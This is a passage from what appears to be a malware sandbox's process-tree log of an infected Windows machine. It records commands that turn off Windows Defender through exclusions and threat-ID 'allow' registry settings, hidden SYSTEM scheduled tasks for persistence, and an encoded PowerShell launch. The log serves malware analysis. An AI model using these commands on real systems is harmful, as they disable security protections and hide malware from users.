--wait-for-package --initial-proc-handle=5004000000000000
        5⤵
        
        PID:5864
      - C:\Users\Admin\Pictures\X5B4OTUXTWIspwXrM3aXfdcU.exe
        
        C:\Users\Admin\Pictures\X5B4OTUXTWIspwXrM3aXfdcU.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2a0,0x2b0,0x2b4,0x27c,0x2b8,0x69f8e1d0,0x69f8e1dc,0x69f8e1e8
        6⤵
        
        PID:6256
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182230061\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182230061\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
        5⤵
        
        PID:8028
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182230061\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182230061\assistant\assistant_installer.exe" --version
        5⤵
        
        PID:5124
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182230061\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182230061\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x230,0x234,0x238,0x20c,0x23c,0x366038,0x366044,0x366050
        6⤵
        
        PID:3408
  - - C:\Users\Admin\Pictures\EGZsLhjrMkqMbBvT6t5hH2qj.exe
      "C:\Users\Admin\Pictures\EGZsLhjrMkqMbBvT6t5hH2qj.exe"
      4⤵
      PID:6808
    - - C:\Users\Admin\AppData\Local\Temp\7zS6EED.tmp\Install.exe
        
        .\Install.exe /sQwdidHh "385118" /S
        5⤵
        
        PID:7080
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:5268
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:7320
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:8012
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:7904
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\GtRXuVH.exe\" em /kmsite_idctH 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:6672
  - - C:\Users\Admin\Pictures\B9ZvIm122ymOHfNM884gE1PW.exe
      "C:\Users\Admin\Pictures\B9ZvIm122ymOHfNM884gE1PW.exe"
      4⤵
      PID:2256
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
    3⤵
    PID:4984

C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
1⤵
PID:6380

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
PID:6536

C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\GtRXuVH.exe
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\GtRXuVH.exe em /kmsite_idctH 385118 /S
1⤵
PID:5500
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:7524
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8096
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2664
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2984
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7516
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7716
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7836
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7840
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2244
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5252
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5988
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6244
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7776
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7668
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7868
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3604
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8184
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:212
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:372
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:7536
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7448
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3448
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5988
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5384
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:7600
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7356
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5072
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7708
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:7348
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4660
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:7648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6260
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ghmlScYYE" /SC once /ST 17:17:00 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:6744
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "ghmlScYYE"
  2⤵
  PID:6864
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ghmlScYYE"
  2⤵
  PID:6000
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 06:44:42 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\LIMuSMO.exe\" XT /gRsite_idcCP 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:7440
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "BAnwxolbGpCzXNxkj"
  2⤵
  PID:7772

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
PID:7460

C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
1⤵
PID:7532

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
PID:4324
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:3692

C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
1⤵
PID:4660

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:7236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:7616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
